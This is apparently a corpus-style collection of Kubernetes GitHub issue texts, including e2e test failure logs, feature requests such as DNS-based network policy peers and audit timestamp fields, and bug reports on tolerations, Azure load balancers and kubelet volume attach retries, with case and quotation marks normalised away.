gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 13:16:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 13:16:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  31918   failed: skewtest {e2e.go}      exit status 1     issues about this test specifically:  38660   failed:  k8s.io  schedulerpredicates  serial  validates that taints-tolerations is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:100 expected error:     < errors.errorstring | 0xc421af9e50>: {         s: \ 1 / 11 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                                                node                                         phase   grace conditions\ fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } \ \ ,     }     1 / 11 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                                                node                                         phase   grace conditions     fluentd-cloud-logging-gke-bootstrap-e2e-default-pool-99904fec-x94m gke-bootstrap-e2e-default-pool-99904fec-x94m pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  } {ready false 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst containersnotready containers with unready status:  fluentd-cloud-logging } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2016-12-22 04:40:37 -0800 pst  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduler_predicates.go:93     issues about this test specifically:  28853  31585  previous issues for this suite:  38468

we need a webhook based signer that implements the  signer interface  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/certificates/certificate_controller.go l43-l45  in order to integrate with external cas.\r \r cc @liggitt @cjcullen @jcbsmpsn

we should clarify the watch.interface in terms of what guarantees exist  and do not exist  on the notifications.  specifically https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/watch/watch.go l34-l37\r \r given re-connection logic on the client, and the aggregation of watches on the server, and federation of etcd with different servers for different prefixes  e.g. events & non-events  and api aggregation, i believe we guarantee:\r \r   no ordering guarantees across different key values\r   on a particular key, events will be delivered to the channel in order\r   multiple datastore modifications may result in a single modified event\r   multiple datastore modifications followed by a delete may result in a single deleted event\r   a datastore creation followed by multiple datastore modifications may result in a single created event\r   a datastore creation, optional series of datastore modifications, and datastore deletion may result in no events\r \r is that correct and approximately accurate?  if so, i'll pr to watch.go  if that's the right place .

is this a bug report or feature request?    choose one : bug\r \r   kubernetes version    use  kubectl version  :\r \r    kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:48:59z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3+coreos.0\ , gitcommit:\ 70bc0937018d89b0d529d428eed8c444d8e7729a\ , gittreestate:\ clean\ , builddate:\ 2017-05-11t18:15:57z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   os    e.g. from /etc/os-release :\r \r    cat /etc/os-release\r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r \r -   kernel    e.g.  uname -a  :\r \r    uname -a\r linux andrea-master-0.muellerpublic.de 4.9.0-0.bpo.3-amd64  1 smp debian 4.9.25-1~bpo8+1  2017-05-19  x86_64 gnu/linux\r    \r \r   what happened  :\r \r try to apply the manifest with  kubectl apply -f file . the tolerations are not set.\r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: heapster-v1.3.0\r   namespace: kube-system\r   labels:\r     k8s-app: heapster\r     version: v1.3.0\r     robobeerun.com/group: cluster-monitoring\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       k8s-app: heapster\r       version: v1.3.0\r   template:\r     metadata:\r       labels:\r         k8s-app: heapster\r         version: v1.3.0\r         robobeerun.com/group: cluster-monitoring\r     spec:\r       containers:\r         - image: gcr.io/google_containers/heapster-amd64:v1.3.0\r           name: heapster\r           livenessprobe:\r             httpget:\r               path: /healthz\r               port: 8082\r               scheme: http\r             initialdelayseconds: 180\r             timeoutseconds: 5\r           command:\r             - /heapster\r             - --source=kubernetes.summary_api:''\r             - --sink=influxdb:http://monitoring-influxdb:8086\r         - image: gcr.io/google_containers/heapster-amd64:v1.3.0\r           name: eventer\r           command:\r             - /eventer\r             - --source=kubernetes:''\r             - --sink=influxdb:http://monitoring-influxdb:8086\r         - image: gcr.io/google_containers/addon-resizer:1.7\r           name: heapster-nanny\r           resources:\r             limits:\r               cpu: 50m\r               memory: 60600ki\r             requests:\r               cpu: 50m\r               memory: 60600ki\r           env:\r             - name: my_pod_name\r               valuefrom:\r                 fieldref:\r                   fieldpath: metadata.name\r             - name: my_pod_namespace\r               valuefrom:\r                 fieldref:\r                   fieldpath: metadata.namespace\r           command:\r             - /pod_nanny\r             - --cpu=80m\r             - --extra-cpu=0.5m\r             - --memory=40mi\r             - --extra-memory=25mi\r             - --threshold=5\r             - --deployment=heapster-v1.3.0\r             - --container=heapster\r             - --poll-period=300000\r             - --estimator=exponential\r         - image: gcr.io/google_containers/addon-resizer:1.7\r           name: eventer-nanny\r           resources:\r             limits:\r               cpu: 50m\r               memory: 60600ki\r             requests:\r               cpu: 50m\r               memory: 60600ki\r           env:\r             - name: my_pod_name\r               valuefrom:\r                 fieldref:\r                   fieldpath: metadata.name\r             - name: my_pod_namespace\r               valuefrom:\r                 fieldref:\r                   fieldpath: metadata.namespace\r           command:\r             - /pod_nanny\r             - --cpu=100m\r             - --extra-cpu=0m\r             - --memory=40mi\r             - --extra-memory=5mi\r             - --threshold=5\r             - --deployment=heapster-v1.3.0\r             - --container=eventer\r             - --poll-period=300000\r             - --estimator=exponential\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: robobeerun.com/cluster-monitoring-heapster\r                 operator: in\r                 values:\r                 - required\r           preferredduringschedulingignoredduringexecution:\r           - weight: 1\r             preference:\r               matchexpressions:\r               - key: robobeerun.com/cluster-monitoring-heapster\r                 operator: in\r                 values:\r                 - preferred\r       tolerations:\r       - effect: noschedule\r         key: node.alpha.kubernetes.io/ismaster\r         operator: equal\r    \r \r   what you expected to happen  :\r \r the tolerations are set.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r apply the posted manifest.\r \r   anything else we need to know  :\r \r applied configuration:\r \r    \r {\\\ apiversion\\\ :\\\ extensions/v1beta1\\\ ,\\\ kind\\\ :\\\ deployment\\\ ,\\\ metadata\\\ :{\\\ annotations\\\ :{},\\\ labels\\\ :{\\\ k8s-app\\\ :\\\ heapster\\\ ,\\\ robobeerun.com/group\\\ :\\\ cluster-monitoring\\\ ,\\\ version\\\ :\\\ v1.3.0\\\ },\\\ name\\\ :\\\ heapster-v1.3.0\\\ ,\\\ namespace\\\ :\\\ kube-system\\\ },\\\ spec\\\ :{\\\ replicas\\\ :1,\\\ selector\\\ :{\\\ matchlabels\\\ :{\\\ k8s-app\\\ :\\\ heapster\\\ ,\\\ version\\\ :\\\ v1.3.0\\\ }},\\\ template\\\ :{\\\ metadata\\\ :{\\\ labels\\\ :{\\\ k8s-app\\\ :\\\ heapster\\\ ,\\\ robobeerun.com/group\\\ :\\\ cluster-monitoring\\\ ,\\\ version\\\ :\\\ v1.3.0\\\ }},\\\ spec\\\ :{\\\ affinity\\\ :{\\\ nodeaffinity\\\ :{\\\ preferredduringschedulingignoredduringexecution\\\ : {\\\ preference\\\ :{\\\ matchexpressions\\\ : {\\\ key\\\ :\\\ robobeerun.com/cluster-monitoring-heapster\\\ ,\\\ operator\\\ :\\\ in\\\ ,\\\ values\\\ : \\\ preferred\\\  } },\\\ weight\\\ :1} ,\\\ requiredduringschedulingignoredduringexecution\\\ :{\\\ nodeselectorterms\\\ : {\\\ matchexpressions\\\ : {\\\ key\\\ :\\\ robobeerun.com/cluster-monitoring-heapster\\\ ,\\\ operator\\\ :\\\ in\\\ ,\\\ values\\\ : \\\ required\\\  } } }}},\\\ containers\\\ : {\\\ command\\\ : \\\ /heapster\\\ ,\\\ --source=kubernetes.summary_api:''\\\ ,\\\ --sink=influxdb:http://monitoring-influxdb:8086\\\  ,\\\ image\\\ :\\\ gcr.io/google_containers/heapster-amd64:v1.3.0\\\ ,\\\ livenessprobe\\\ :{\\\ httpget\\\ :{\\\ path\\\ :\\\ /healthz\\\ ,\\\ port\\\ :8082,\\\ scheme\\\ :\\\ http\\\ },\\\ initialdelayseconds\\\ :180,\\\ timeoutseconds\\\ :5},\\\ name\\\ :\\\ heapster\\\ },{\\\ command\\\ : \\\ /eventer\\\ ,\\\ --source=kubernetes:''\\\ ,\\\ --sink=influxdb:http://monitoring-influxdb:8086\\\  ,\\\ image\\\ :\\\ gcr.io/google_containers/heapster-amd64:v1.3.0\\\ ,\\\ name\\\ :\\\ eventer\\\ },{\\\ command\\\ : \\\ /pod_nanny\\\ ,\\\ --cpu=80m\\\ ,\\\ --extra-cpu=0.5m\\\ ,\\\ --memory=40mi\\\ ,\\\ --extra-memory=25mi\\\ ,\\\ --threshold=5\\\ ,\\\ --deployment=heapster-v1.3.0\\\ ,\\\ --container=heapster\\\ ,\\\ --poll-period=300000\\\ ,\\\ --estimator=exponential\\\  ,\\\ env\\\ : {\\\ name\\\ :\\\ my_pod_name\\\ ,\\\ valuefrom\\\ :{\\\ fieldref\\\ :{\\\ fieldpath\\\ :\\\ metadata.name\\\ }}},{\\\ name\\\ :\\\ my_pod_namespace\\\ ,\\\ valuefrom\\\ :{\\\ fieldref\\\ :{\\\ fieldpath\\\ :\\\ metadata.namespace\\\ }}} ,\\\ image\\\ :\\\ gcr.io/google_containers/addon-resizer:1.7\\\ ,\\\ name\\\ :\\\ heapster-nanny\\\ ,\\\ resources\\\ :{\\\ limits\\\ :{\\\ cpu\\\ :\\\ 50m\\\ ,\\\ memory\\\ :\\\ 60600ki\\\ },\\\ requests\\\ :{\\\ cpu\\\ :\\\ 50m\\\ ,\\\ memory\\\ :\\\ 60600ki\\\ }}},{\\\ command\\\ : \\\ /pod_nanny\\\ ,\\\ --cpu=100m\\\ ,\\\ --extra-cpu=0m\\\ ,\\\ --memory=40mi\\\ ,\\\ --extra-memory=5mi\\\ ,\\\ --threshold=5\\\ ,\\\ --deployment=heapster-v1.3.0\\\ ,\\\ --container=eventer\\\ ,\\\ --poll-period=300000\\\ ,\\\ --estimator=exponential\\\  ,\\\ env\\\ : {\\\ name\\\ :\\\ my_pod_name\\\ ,\\\ valuefrom\\\ :{\\\ fieldref\\\ :{\\\ fieldpath\\\ :\\\ metadata.name\\\ }}},{\\\ name\\\ :\\\ my_pod_namespace\\\ ,\\\ valuefrom\\\ :{\\\ fieldref\\\ :{\\\ fieldpath\\\ :\\\ metadata.namespace\\\ }}} ,\\\ image\\\ :\\\ gcr.io/google_containers/addon-resizer:1.7\\\ ,\\\ name\\\ :\\\ eventer-nanny\\\ ,\\\ resources\\\ :{\\\ limits\\\ :{\\\ cpu\\\ :\\\ 50m\\\ ,\\\ memory\\\ :\\\ 60600ki\\\ },\\\ requests\\\ :{\\\ cpu\\\ :\\\ 50m\\\ ,\\\ memory\\\ :\\\ 60600ki\\\ }}} ,\\\ tolerations\\\ : {\\\ effect\\\ :\\\ noschedule\\\ ,\\\ key\\\ :\\\ node.alpha.kubernetes.io/ismaster\\\ ,\\\ operator\\\ :\\\ equal\\\ } }}}}\ \r

 \r   what happened  :\r \r i got the error \ no nodes are available that match all of the following predicates:: insufficient cpu  1 .\ \r \r ! image  https://user-images.githubusercontent.com/632207/28069338-6992c5fa-6649-11e7-87c1-f72d6d8c262f.png \r \r   what you expected to happen  :\r \r error message has just one colon  not \ ::\   and does not contain a double negative. for example, i might expect:\r \r no nodes are available that match all of the following predicates: sufficient cpu  1 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start a cluster and create lots of pods.\r \r   environment  :\r - kubernetes version  use  kubectl version  : server v1.6.4, client v1.6.6\r - cloud provider or hardware configuration  : gke\r

ref https://github.com/kubernetes/kubernetes/issues/48561\r \r currently, there's a   timestamp   https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/apis/audit/types.go l88  field in the  audit.event  object, which represents  time the request reached the apiserver. . there're several problems with it:\r \r 1. since auditing process has several stages, each one generating a separate event object in the sink, name can be confusing: a person can understand it as a timestamp of the last auditing process stage.\r 1. there's another field in the event, inherited from the objectmeta:  creationtimestamps . it's also confusing what it means: either the same what  timestamp  currently means or the stage timestmap.\r 1. creationtimestamp has seconds precision.\r 1. currently creationtimestamp is not populated and left as nil in the serialized object.\r 1. currently there's no stage timestamp in the object, so it's not possible to understand from the last audit object, how much time the request took: you have to correlate events by the  auditid   which can be spoofed .\r \r we agreed that the @soltysh's pr  https://github.com/kubernetes/kubernetes/pull/52030  will addressed the latter two points by populating the  creationtimestamp  field with the stage timestamp, exposing this information and making  creationtimestamp  field useful. however, that doesn't solve the problem of ambiguous names or  creationtimestamp  precision. there are three options:\r \r 1. leave it as it is.\r 1. rename  timestamp  field e.g. to  requeststarttimestamp \r 1. remove  timestamp  field, introduce two new fields  requeststarttimestamp  and  stagetimestamp  and remove  objectmeta . this is the only option that will allow to use timestamps to make an accurate estimation of how much time the request took, since  creationtimestamp  has only seconds precision.\r \r renaming/removing field ofc will happen in the backward-compatible way, by creating a new field that will hold the same value and then actually removing the field in the next api release.\r \r because of the precision problem, the last options seems like the best approach.\r \r /cc @sttts @soltysh @ericchiang @caoshufeng

cc @kubernetes/sig-api-machinery-test-failures \r cc @kubernetes/kubernetes-release-managers \r \r observed on the upgrade cluster test suite\r

\r  \r today networkpolicypeer supports ipblock, namespaceselector, and podselector.  this leaves one use case that is fairly common for dns name-based restrictions.  i think we should support that by having a way to express peers for both ingress and egress via dns domain name.\r \r  \r

both these job started failing at the same time.\r \r comparison of both repo and infra commits:\r https://github.com/kubernetes/kubernetes/compare/c74c82645...d112ffc2e\r https://github.com/kubernetes/test-infra/compare/8c7800b6d...8c9bca22f\r \r https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&test=kubernetes%20dashboard%20should%20check%20that%20the%20kubernetes-dashboard%20instance%20is%20alive e86a79dc0b9fe8a51016\r \r the only pr there i'm not sure about is https://github.com/kubernetes/test-infra/pull/7170. @cjwagner thoughts?\r \r cc: @kubernetes/sig-gcp-test-failures @kubernetes/sig-testing-test-failures

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r   \r \r   what happened  : currently e2e test images are distributed between 2 different registry locations, k8s.gcr.io and gcr.io/kubernetes-e2e-test-images. https://github.com/kubernetes/kubernetes/blob/master/test/utils/image/manifest.go\r \r   what you expected to happen  : we should ideally consolidate them under gcr.io/kubernetes-e2e-test-images where they rightly belong.\r \r /assign\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r we are trying to create kubernetes services of type loadbalancer, the load balancer cannot accept write/delete operation and it is complaining about a failed nic.\r \r    \r cannot proceed with operation because resource /subscriptions/<subid>/resourcegroups/cne2-test/providers/microsoft.network/networkinterfaces/kubenode3_ni_default/ipconfigurations/ipconf1 used by resource /subscriptions/<subid>/resourcegroups/cne2-test/providers/microsoft.network/loadbalancers/cne2-test is not in succeeded state. resource is in failed state and the last operation that updated/is updating the resource is putnicoperation.\r    \r all operation on this lb is throwing this error out. \r \r   what you expected to happen  :\r \r that the service ip gets provisioned in the lb, and a failed nic shouldn't affect the creation of a service lb like that. \r \r   how to reproduce it  as minimally and precisely as possible   :\r no clue how to get a nic into a failed state, that should do it though. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r azure china east2\r    \r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux 3.10.0-693.21.1.el7.x86_64  1 smp wed mar 7 19:03:37 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r inhouse, upstream + cloudprovider logic\r - others:\r cc : @feiskyer

 \r the hpa controller's metrics client currently assumes all objects referenced in the  object  metrics type are namespaced  unless it's namespaces themselves .  this is wrong -- we should be using a restmapper to figure out the scope.\r \r when we do this, we need to make certain that we scope down the hpa's default permissions so that a normal user can't use the hpa to discover metrics that they otherwise shouldn't be able to  e.g. node metrics .

   \r testgrid links:\r https://k8s-testgrid.appspot.com/sig-release-1.11-all soak-gci-gce-1.11\r example test failure:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gci-gce-stable1/670\r \r local volume tests failing in ci:\r    \r  sig-storage  persistentvolumes-local local volume provisioner  serial  should create and recreate local persistent volume\r  sig-storage  persistentvolumes-local local volume provisioner  serial  should discover dynamicly created local persistent volume mountpoint in discovery directory\r  sig-storage  persistentvolumes-local local volume provisioner  serial  should not create local persistent volume for filesystem volume that was not bind mounted\r  sig-storage  persistentvolumes-local stress with local volume provisioner  serial  should use be able to process many pods and reuse local volumes\r    \r \r i've determined this test is failing due to enabling podsecuritypolicy on ci while these tests are creating daemonsets with non default service accounts.\r \r /assign\r /cc @msau42

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r with enable-controller-attach-detach set to false, the kubelet is responsible for attachinf the volumes to its pods.\r when rescheduling a node a with volumes 1, 2, 3 attached to pods on node b, we have some volumes that are not mounted correctly on node b.\r we think there is a race condition in pkg/kubelet/volumemanager/reconciler/reconciler.go. indeed we observe in the logs of kubelet node b:\r    1  volumes 1 and 2 get an attach failed error because the volume is still linked to node a  there is a small time-window before the openstack api answer where node a does not exist anymore and the volume is free \r    2  volume 3 is attached correctly\r    3  volumes 1, 2 and 3 start mountvolume.waitforattach. for volume 3 the volume is mounted correctly because the attach was a success. for volumes 1 and 2, the situation is stuck. they will wait indefinitely until someone attaches the volume to the node. if we restart the kubelet or if we attach the volume manually, volumes 1 and 2 are successfully mounted.\r \r it seems that there is no retry of attach after a first fail in the api call made by the kubelet. instead of trying to attach again, the kubelet starts the mountvolume.waitforattach function\r \r   what you expected to happen  :\r \r we expect that reconcilier retry attach volume 1 and 2 after a first fail api call instead of starting the mountvolume.waitforattach procedure\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r set enable-controller-attach-detach to false.\r make an unsuccessful api call to openstack when trying to attach the volume when the kubelet starts\r \r   anything else we need to know?  :\r \r we run a k8s cluster with the enable-controller-attach-detach parameter set to false. we have no choice because we are running a multi-datacenter cluster and our host provider configures the same availabilityzone  in this case “nova” seems to be the default  on their openstack cluster. so if we let the controller effect the attach/detach operation, we can not guarantee that the volume will be found because the availabilityzone is the same for all data centers.\r if you have an alternative solution to using enable-controller-attach-detach that ensures that the volumes are found by the controller in the correct region, we will be happy to use it : \r \r also here are the logs that make us think the retry is not made:\r    go\r sep 27 11:43:23 node b kubelet-wrapper 787 : i0927 11:43:23.331382     787 reconciler.go:237  operationexecutor.attachvolume started for volume \ volume 1\   uniquename: \ kubernetes.io/cinder/volume_1_id\   pod \ pod with volume 1\   uid: \ uuid_volume_1\  \r sep 27 11:43:23 node b kubelet-wrapper 787 : i0927 11:43:23.431721     787 reconciler.go:237  operationexecutor.attachvolume started for volume \ volume 2\   uniquename: \ kubernetes.io/cinder/volume_2_id\   pod \ pod volume 2\   uid: \ uuid_volume_2\  \r sep 27 11:43:24 node b kubelet-wrapper 787 : i0927 11:43:24.794545     787 attacher.go:158  attach volume \ volume_2_id\  to instance \ pod node b\  failed with: disk volume_2_id path /dev/vdc is attached to a different instance  pod node a \r sep 27 11:43:24 node b kubelet-wrapper 787 : e0927 11:43:24.794713     787 nestedpendingoperations.go:263  operation for \ \\\ kubernetes.io/cinder/volume_2_id\\\ \  failed. no retries permitted until 2018-09-27 11:43:25.294659022 +0000 utc m=+1120541.835247469  durationbeforeretry 500ms . error: \ attachvolume.attach failed for volume \\\ volume 2\\\   uniquename: \\\ kubernetes.io/cinder/volume_2_id\\\   from node \\\ node b\\\  : disk volume_2_id path /dev/vdc is attached to a different instance  pod node a \ \r sep 27 11:43:24 node b kubelet-wrapper 787 : i0927 11:43:24.840428     787 attacher.go:158  attach volume \ volume_1_id\  to instance \ pod node b\  failed with: disk volume_1_id path /dev/vde is attached to a different instance  pod node a \r sep 27 11:43:24 node b kubelet-wrapper 787 : e0927 11:43:24.840539     787 nestedpendingoperations.go:263  operation for \ \\\ kubernetes.io/cinder/volume_1_id\\\ \  failed. no retries permitted until 2018-09-27 11:43:25.340509083 +0000 utc m=+1120541.881097532  durationbeforeretry 500ms . error: \ attachvolume.attach failed for volume \\\ volume 1\\\   uniquename: \\\ kubernetes.io/cinder/volume_1_id\\\   from node \\\ node b\\\  : disk volume_1_id path /dev/vde is attached to a different instance  pod node a \ \r sep 27 11:43:25 node b kubelet-wrapper 787 : i0927 11:43:25.346673     787 operation_generator.go:447  mountvolume.waitforattach entering for volume \ volume 1\   uniquename: \ kubernetes.io/cinder/volume_1_id\   pod \ pod with volume 1\   uid: \ uuid_volume_1\   devicepath \ /dev/vde\ \r sep 27 11:43:25 node b kubelet-wrapper 787 : i0927 11:43:25.347035     787 operation_generator.go:447  mountvolume.waitforattach entering for volume \ volume 2\   uniquename: \ kubernetes.io/cinder/volume_2_id\   pod \ pod volume 2\   uid: \ uuid_volume_2\   devicepath \ /dev/vdc\ \r sep 27 11:43:26 node b kubelet-wrapper 787 : e0927 11:43:26.870106     787 attacher.go:240  error: could not find attached cinder disk \ volume_1_id\   path: \ \  : <nil>\r sep 27 11:43:26 node b kubelet-wrapper 787 : e0927 11:43:26.957503     787 attacher.go:240  error: could not find attached cinder disk \ volume_2_id\   path: \ \  : <nil>\r sep 27 11:43:27 node b kubelet-wrapper 787 : e0927 11:43:27.693631     787 attacher.go:240  error: could not find attached cinder disk \ volume_2_id\   path: \ \  : <nil>\r sep 27 11:43:27 node b kubelet-wrapper 787 : e0927 11:43:27.703389     787 attacher.go:240  error: could not find attached cinder disk \ volume_1_id\   path: \ \  : <nil>\r ...\r    \r infinity until we attach manually the volumes\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.8\r - cloud provider or hardware configuration: public cloud\r - os  e.g. from /etc/os-release : coreos\r - kernel  e.g.  uname -a  : container linux by coreos 1855.4.0  rhyolite    4.14.67-coreos\r - install tools:\r - others: we use openstack \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubelet-gce-e2e-ci/10783/  failed:  k8s.io  configmap should be consumable from pods in volume with defaultmode set  conformance  {e2enode suite}      /var/lib/jenkins/workspace/kubelet-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:42 expected error:     < errors.errorstring | 0xc820caeb10>: {         s: \ expected pod \\\ pod-configmaps-33d05617-a045-11e6-90f8-42010a80001c\\\  success: pod \\\ pod-configmaps-33d05617-a045-11e6-90f8-42010a80001c\\\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2016-11-01 15:09:36 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2016-11-01 15:09:36 +0000 utc reason:containersnotready message:containers with unready status:  configmap-volume-test }  message: reason: hostip:10.128.0.28 podip:10.180.0.17 starttime:2016-11-01 15:09:36 +0000 utc initcontainerstatuses:   containerstatuses: {name:configmap-volume-test state:{waiting:<nil> running:<nil> terminated:0xc820fe9d50} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:false restartcount:0 image:gcr.io/google_containers/mounttest:0.7 imageid:docker://sha256:7d5bba82296e1fb44be5a07e3965659130433a2a63c9175f59966fb18c4d6029 containerid:docker://0338cbe92874fb0748d9782677d685187d781341e49c2c3f59ddab75a468bd3c} }\ ,     }     expected pod \ pod-configmaps-33d05617-a045-11e6-90f8-42010a80001c\  success: pod \ pod-configmaps-33d05617-a045-11e6-90f8-42010a80001c\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2016-11-01 15:09:36 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2016-11-01 15:09:36 +0000 utc reason:containersnotready message:containers with unready status:  configmap-volume-test }  message: reason: hostip:10.128.0.28 podip:10.180.0.17 starttime:2016-11-01 15:09:36 +0000 utc initcontainerstatuses:   containerstatuses: {name:configmap-volume-test state:{waiting:<nil> running:<nil> terminated:0xc820fe9d50} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:false restartcount:0 image:gcr.io/google_containers/mounttest:0.7 imageid:docker://sha256:7d5bba82296e1fb44be5a07e3965659130433a2a63c9175f59966fb18c4d6029 containerid:docker://0338cbe92874fb0748d9782677d685187d781341e49c2c3f59ddab75a468bd3c} } not to have occurred /var/lib/jenkins/workspace/kubelet-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2128

